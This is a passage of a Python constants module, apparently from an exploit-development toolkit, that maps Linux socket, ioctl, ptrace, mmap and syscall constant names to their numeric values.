Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FILE = Constant('MAP_FILE',0)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept = Constant('SYS_accept',99)\nSYS_accept4 = Constant('SYS_accept4',323)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',281)\nSYS_adjtimex = Constant('SYS_adjtimex',219)\nSYS_afs_syscall = Constant('SYS_afs_syscall',227)\nSYS_alarm = Constant('SYS_alarm',27)\nSYS_aplib = Constant('SYS_aplib',255)\nSYS_bdflush = Constant('SYS_bdflush',225)\nSYS_bind = Constant('SYS_bind',353)\nSYS_bpf = Constant('SYS_bpf',349)\nSYS_brk = Constant('SYS_brk',17)\nSYS_capget = Constant('SYS_capget',21)\nSYS_capset = Constant('SYS_capset',22)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',13)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',334)\nSYS_clock_getres = Constant('SYS_clock_getres',258)\nSYS_clock_gettime = Constant('SYS_clock_gettime',257)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',259)\nSYS_clock_settime = Constant('SYS_clock_settime',256)\nSYS_clone = Constant('SYS_clone',217)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',98)\nSYS_copy_file_range = Constant('SYS_copy_file_range',357)\nSYS_creat = Constant('SYS_creat',8)\nSYS_create_module = Constant('SYS_create_module',221)\nSYS_delete_module = Constant('SYS_delete_module',222)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',90)\nSYS_dup3 = Constant('SYS_dup3',320)\nSYS_epoll_create = Constant('SYS_epoll_create',193)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',319)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',194)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',309)\nSYS_epoll_wait = Constant('SYS_epoll_wait',195)\nSYS_eventfd = Constant('SYS_eventfd',313)\nSYS_eventfd2 = Constant('SYS_eventfd2',318)\nSYS_execv = Constant('SYS_execv',11)\nSYS_execve = Constant('SYS_execve',59)\nSYS_execveat = Constant('SYS_execveat',350)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',188)\nSYS_faccessat = Constant('SYS_faccessat',296)\nSYS_fadvise64 = Constant('SYS_fadvise64',209)\nSYS_fadvise64_64 = Constant('SYS_fadvise64_64',210)\nSYS_fallocate = Constant('SYS_fallocate',314)\nSYS_fanotify_init = Constant('SYS_fanotify_init',329)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',330)\nSYS_fchdir = 